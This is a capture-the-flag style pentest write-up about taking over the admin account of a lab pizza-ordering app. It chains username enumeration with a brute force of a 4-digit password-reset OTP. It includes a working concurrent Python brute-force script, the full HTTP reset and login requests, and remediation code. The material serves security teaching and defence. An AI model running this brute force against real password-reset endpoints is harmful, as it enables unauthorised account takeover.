Cheesy Does It: Account Takeover via 4-Digit OTP Brute Force on Password Reset
Part 1 — Pentest Report
Executive Summary
Cheesy Does It is a pizza ordering React + Express application served from BugForge. The password reset flow uses a 4-digit numeric OTP delivered out of band, verified at POST /api/verify-otp, and exchanged for a UUID4 reset_token on success. The verify endpoint has no rate limit, no account lockout, and no anti-burst protection, so the entire 10,000-OTP space can be swept in a few seconds. Combined with username enumeration on POST /api/forgot-password and a known admin username, any account in the system can be taken over from an unauthenticated starting position.
Testing confirmed 1 finding:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | Account Takeover via 4-Digit OTP Brute Force on Password Reset | Critical | 9.8 | CWE-307, CWE-330, CWE-204 | POST /api/forgot-password, POST /api/verify-otp, POST /api/reset-password |
The flag was retrieved by enumerating admin via the forgot-password response, brute-forcing admin’s 4-digit OTP in 3 seconds at concurrency 50, exchanging the OTP for a reset_token, resetting admin’s password, and logging in. The login response delivered the flag in admin’s email and address fields, the BugForge value-substitution flag-delivery pattern.
Objective
Capture the lab flag (BugForge bug{...} format) from the Cheesy Does It pizza ordering app.
Scope / Initial Access
# Target Application
URL: https://lab-1778026826757-q9zh6n.labs-app.bugforge.io
# Auth details
Registration: POST /api/register {username, email, password, full_name, phone, address}
Login: POST /api/login {username, password}
Token format: JWT HS256, payload {id, username, iat} (no role claim)
Starting privileges: anonymous (registration is open)
# Reset chain
POST /api/forgot-password {username} → issues OTP
POST /api/verify-otp {username, otp} → returns reset_token (UUID4)
POST /api/reset-password {username, reset_token, new_password}
The JWT carries no role claim, so role is read server side from the user record on each authenticated request. GET /api/verify-token returns the full user record including role.
Reconnaissance — Reading the Bundle and Walking the Reset Chain
Reconnaissance focused on the React bundle (/static/js/main.b51c4b94.js) and the response shapes from registration and the reset chain. The bundle was unminified enough to surface input constraints and endpoint paths; no source maps were exposed.
-
The OTP
TextFieldin the bundle declaresinputProps={{maxLength: 4}}. This pins the OTP space to four characters before any test, and the input field’s numeric keyboard hint narrows it further to digits. Total space candidate: 10,000. - The reset chain is three independent endpoints (forgot → verify → reset). Each link can be probed in isolation, which makes it cheap to test predictability of the reset_token, decoupling of token from username, and rate limiting on the verify step without committing to the full brute.
POST /api/forgot-passwordreturns different status codes for known vs. unknown usernames (200 with “OTP sent” vs. 400 with “User not found”). This identifies which usernames are live, including admin’s actual username (admin).
Application Architecture
| Component | Detail |
|---|---|
| Backend | Node.js / Express (X-Powered-By header present) |
| Frontend | React + Material-UI SPA (build hash main.b51c4b94.js) |
| Auth | JWT HS256, payload {id, username, iat}, no role claim |
| Database | Relational, snake_case schema, sequential integer user IDs, SQL DATETIME timestamps |
API Surface
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
| /api/register | POST | none | Field whitelist enforced server side |
| /api/login | POST | none | Returns {token, user} |
| /api/verify-token | GET | JWT | Returns user including role |
| /api/forgot-password | POST | none | Username enumeration via response diff |
| /api/verify-otp | POST | none | 4-digit OTP, no rate limit, returns reset_token on hit |
| /api/reset-password | POST | none | Consumes reset_token, resets password |
| /api/admin/users | GET | admin | Server enforced role check (returns 403 for non-admin) |
| /api/admin/stats | GET | admin | Server enforced role check |
| /api/admin/orders | GET | admin | Server enforced role check |
Known Users
| Username | ID | Role |
|---|---|---|
| admin | 1 | admin |
| customer | 2 | user |
| foodie | 3 | user |
| haxor | 4 | user (test account registered for this engagement) |
Attack Chain Visualization
┌──────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐
│ 1. Issue admin OTP │───▶│ 2. Brute the OTP │───▶│ 3. Reset admin pwd │───▶│ 4. Login as admin │
│ │ │ │ │ │ │ │
│ POST /forgot-password│ │ tools/otp_brute.py │ │ POST /reset-password │ │ POST /login │
│ {"username":"admin"} │ │ admin 50 │ │ {username, │ │ {admin, pwned} │
│ → 200 "OTP sent" │ │ 0000-9999 sweep │ │ reset_token, │ │ → 200 + admin JWT │
│ admin OTP provisioned│ │ stop on 200 │ │ new_password} │ │ user.email + │
│ │ │ → reset_token (UUID4)│ │ → 200 │ │ user.address = flag │
└──────────────────────┘ └──────────────────────┘ └──────────────────────┘ └──────────────────────┘
Findings
F1 — Account Takeover via 4-Digit OTP Brute Force on Password Reset
Severity: Critical
CVSS v3.1: 9.8 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-307 (Improper Restriction of Excessive Authentication Attempts), CWE-330 (Use of Insufficiently Random Values), CWE-204 (Observable Response Discrepancy)
Endpoint: POST /api/forgot-password, POST /api/verify-otp, POST /api/reset-password
Authentication required: No
Description
Three compounding defects in the password reset flow allow any account in the system to be taken over from an unauthenticated starting position.
- Username enumeration on
POST /api/forgot-password. A known username returns 200 with{"message":"OTP sent to your registered email address"}. An unknown username returns 400 with{"error":"User not found"}. The status code and the body both differ, identifying which usernames are live. Admin’s username isadmin. - OTP space is 4 numeric digits. The OTP
TextFieldin the bundle declaresinputProps={{maxLength: 4}}. Confirmed by brute hits on two separate accounts (haxor → 2293, admin → 1970), both 4-digit numeric. Total search space: 10,000. - No rate limit, no lockout, no anti-burst on
POST /api/verify-otp. 20 sequential attempts returned 400 at a steady 165ms latency with no 429, no progressive delay, and no lockout response. 50 concurrent attempts returned 400 at 187ms average latency with no degradation. A 10,000-OTP sweep at concurrency 50 hits a valid OTP in approximately 3 to 5 seconds wall time.
The reset_token returned by verify-otp is a UUID4 (crypto-random) and is bound to the username server side, so neither token predictability nor username/token decoupling are available. The brute is the load-bearing step and the only weakness needed to chain to takeover.
Impact
Pre-authenticated takeover of any account in the system, including admin. Grants access to the target account’s data and any role bound to it.
Reproduction
Step 1 — Issue an OTP for admin
POST /api/forgot-password HTTP/1.1
Host: lab-1778026826757-q9zh6n.labs-app.bugforge.io
Content-Type: application/json
{"username":"admin"}
Response: 200 OK with {"message":"OTP sent to your registered email address"}. Admin’s OTP is now provisioned. The OTP has a finite lifetime (typically 5 to 15 minutes for OTP schemes), so the brute should run immediately after this request to avoid expiry.
Step 2 — Brute the OTP at concurrency 50
The brute tool issues POST /api/verify-otp with {username: "admin", otp: <0000-9999>} until it sees a 200 response.
python3 tools/otp_brute.py admin 50
Tool source:
# tools/otp_brute.py — sweep 0000-9999 against /api/verify-otp, stop on 200
import sys, requests
from concurrent.futures import ThreadPoolExecutor, as_completed
URL = "https://lab-1778026826757-q9zh6n.labs-app.bugforge.io/api/verify-otp"
def attempt(username, otp):
r = requests.post(URL, json={"username": username, "otp": f"{otp:04d}"})
return otp, r.status_code, r.text
def main():
username, concurrency = sys.argv[1], int(sys.argv[2])
with ThreadPoolExecutor(max_workers=concurrency) as pool:
futures = [pool.submit(attempt, username, i) for i in range(10000)]
for f in as_completed(futures):
otp, status, body = f.result()
if status == 200:
print(f"HIT otp={otp:04d} body={body}")
return
if __name__ == "__main__":
main()
Result: hit at otp=1970 after 1975 attempts in 3.00 seconds wall time. Response body: {"reset_token":"c2fca805-b0de-41e7-bfe6-7d22a555c49a"}.
Step 3 — Reset admin’s password using the captured reset_token
POST /api/reset-password HTTP/1.1
Host: lab-1778026826757-q9zh6n.labs-app.bugforge.io
Content-Type: application/json
{"username":"admin","reset_token":"c2fca805-b0de-41e7-bfe6-7d22a555c49a","new_password":"pwned_admin!"}
Response: 200 OK with {"message":"Password reset successfully"}. Admin’s password is now pwned_admin!.
Step 4 — Log in as admin
POST /api/login HTTP/1.1
Host: lab-1778026826757-q9zh6n.labs-app.bugforge.io
Content-Type: application/json
{"username":"admin","password":"pwned_admin!"}
Response: 200 OK. The body includes admin’s JWT and admin’s user record. The flag is delivered in the email and address fields:
{
"token": "eyJhbGciOiJIUzI1NiIs...",
"user": {
"id": 1,
"username": "admin",
"email": "bug{zYXezRZ6frjyaLHp5YOxezesxEZRl5uT}",
"full_name": "Pizza Admin",
"phone": "555-0100",
"address": "bug{zYXezRZ6frjyaLHp5YOxezesxEZRl5uT}",
"role": "admin"
}
}
Flag: bug{zYXezRZ6frjyaLHp5YOxezesxEZRl5uT}
Remediation
Fix 1 — Increase OTP entropy and shorten OTP lifetime
// BEFORE (Vulnerable)
const otp = String(Math.floor(Math.random() * 10000)).padStart(4, '0');
await db.query('INSERT INTO password_resets (user_id, otp) VALUES (?, ?)',
[user.id, otp]);
// AFTER (Secure)
const crypto = require('crypto');
const otp = crypto.randomInt(0, 1_000_000).toString().padStart(6, '0');
const otpHash = crypto.createHash('sha256').update(otp).digest('hex');
await db.query(
'INSERT INTO password_resets (user_id, otp_hash, expires_at, attempts) VALUES (?, ?, ?, 0)',
[user.id, otpHash, Date.now() + 5 * 60 * 1000]
);
A 6-digit OTP space is 1,000,000 candidates, which combined with the rate limit and lockout in Fix 2 makes an online brute infeasible. Storing the hash rather than the raw OTP limits exposure if the password_resets table is read.
Fix 2 — Add rate limiting and a per-OTP attempt counter on /api/verify-otp
// BEFORE (Vulnerable)
app.post('/api/verify-otp', async (req, res) => {
const { username, otp } = req.body;
const user = await db.getUserByUsername(username);
const reset = await db.getActiveReset(user.id);
if (reset.otp !== otp) return res.status(400).json({ error: 'Invalid or expired OTP' });
// ... issue reset_token
});
// AFTER (Secure)
const rateLimit = require('express-rate-limit');
const verifyOtpLimiter = rateLimit({
windowMs: 15 * 60 * 1000,
max: 5,
keyGenerator: (req) => `${req.ip}:${req.body.username}`,
message: { error: 'Too many attempts. Try again later.' }
});
app.post('/api/verify-otp', verifyOtpLimiter, async (req, res) => {
const { username, otp } = req.body;
const user = await db.getUserByUsername(username);
const reset = await db.getActiveReset(user.id);
if (!reset || reset.expires_at < Date.now()) {
return res.status(400).json({ error: 'Invalid or expired OTP' });
}
if (reset.attempts >= 5) {
await db.invalidateReset(reset.id);
return res.status(400).json({ error: 'Too many attempts. Request a new code.' });
}
await db.incrementAttempts(reset.id);
const otpHash = crypto.createHash('sha256').update(otp).digest('hex');
if (otpHash !== reset.otp_hash) {
return res.status(400).json({ error: 'Invalid or expired OTP' });
}
// ... issue reset_token, invalidate OTP
});
The combination of a per-IP+username rate limit and a per-OTP attempt counter caps an attacker’s effective brute budget at 5 candidates per OTP issuance and 5 attempts per 15 minute window per source.
Fix 3 — Make /api/forgot-password response uniform for known and unknown usernames
// BEFORE (Vulnerable)
app.post('/api/forgot-password', async (req, res) => {
const user = await db.getUserByUsername(req.body.username);
if (!user) return res.status(400).json({ error: 'User not found' });
await issueOtp(user);
return res.json({ message: 'OTP sent to your registered email address' });
});
// AFTER (Secure)
app.post('/api/forgot-password', async (req, res) => {
const user = await db.getUserByUsername(req.body.username);
if (user) await issueOtp(user);
return res.json({ message: 'If that account exists, an OTP has been sent to the email on file.' });
});
The same status code, body, and (within reason) timing should apply whether or not the username exists.
Additional recommendations:
- Invalidate the OTP immediately on first issuance of a reset_token so a captured OTP can not be replayed against a second reset.
- Notify the account holder out of band when a password reset is initiated, so a takeover triggers an audit trail visible to the legitimate user.
- Consider a step up factor (existing password, security question, or second factor) on reset for privileged roles such as admin, raising the cost of takeover even if the OTP scheme is weakened.
OWASP Top 10 Coverage
- A07:2021 — Identification and Authentication Failures: The OTP brute-force protection requirement is unmet. The 4-digit OTP combined with no rate limit, no lockout, and no anti-burst on
verify-otpmakes credential brute attacks against the reset flow trivial. - A04:2021 — Insecure Design: The three defects (small OTP space, missing rate limit, response-distinguishable enumeration) are each defensible in isolation; their combination is the design flaw. The reset_token step is cosmetically secure (UUID4, bound to username), which suggests the design effort went to the wrong place.
- A01:2021 — Broken Access Control: Server-side role checks on
/api/admin/*work as designed. The takeover does not bypass access control, it bypasses authentication entirely by becoming the admin user.
Tools Used
| Tool | Purpose |
|---|---|
| Caido | Request replay and reset chain inspection |
| curl | Manual probes and final exploit chain |
| Browser DevTools | Bundle reading (/static/js/main.b51c4b94.js) |
tools/otp_brute.py |
Concurrent 0000-9999 sweep against /api/verify-otp |
References
- CWE-307: https://cwe.mitre.org/data/definitions/307.html
- CWE-330: https://cwe.mitre.org/data/definitions/330.html
- CWE-204: https://cwe.mitre.org/data/definitions/204.html
- OWASP A07:2021 Identification and Authentication Failures: https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/
- OWASP Forgot Password Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html
Part 2 — Notes / Knowledge
Key Learnings
-
inputProps={{maxLength: 4}}on an OTP field is a free disclosure: the credential is four characters long, available in the bundle before any request is sent. Frontend input caps exist for usability, but they directly size the search space for a brute attack against the verify endpoint. The same read applies to PIN fields, voucher codes, MFA backup codes, and any short credential where the client declares a length. Read these caps during bundle recon; the disclosure turns the brute from a blind sweep into a sized problem. -
OTPs and reset tokens are credentials, not session identifiers. They should have enough entropy that brute-forcing is never a viable attack, regardless of any rate limit or lockout in front of the verify endpoint. A 4-digit numeric OTP has 10,000 candidates, which is brute-forceable by design. The floor for an OTP delivered to a side channel is 6 digits numeric; 8 characters or more, alphanumeric, is the better baseline. The entropy of the credential is the security boundary, not the rate limit.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
Mass assignment role:"admin" on POST /api/register |
Registration succeeded, verify-token showed role:"user" for the new account, /api/admin/users returned 403 |
Server enforces a registration field whitelist. Extra fields outside the whitelist are silently dropped. |
Direct GET /api/admin/{users,stats,orders} with a non-admin JWT |
All three returned 403 with {"error":"Admin access required"} |
Server side role check on admin endpoints works as designed. The JWT carries no role, and the server resolves the role from the user record on each request. |
| Predictable reset_token derivation from public attributes | reset_token is UUID4 (abe454dd-e8d7-4221-9ade-48bb6ee782fc), version digit 4 confirmed at index 14, hex characters with hyphens, no timestamp, user id, or counter shape detectable |
The token is generated by a cryptographically random source (Node crypto.randomUUID() semantics). Not derivable from public data. |
Username and reset_token decoupling on POST /api/reset-password |
Our valid reset_token plus admin username returned 400 {"error":"Invalid or expired reset token"}. Sanity check with the same token plus our own username returned 200 |
Server side binding between reset_token and username is enforced. Decoupling closed. |
Tags: #bugforge #webapp #account-takeover #otp-brute #missing-rate-limit #password-reset #username-enumeration #cwe-307 #cwe-330 #cwe-204
Document Version: 1.0
Last Updated: 2026-05-06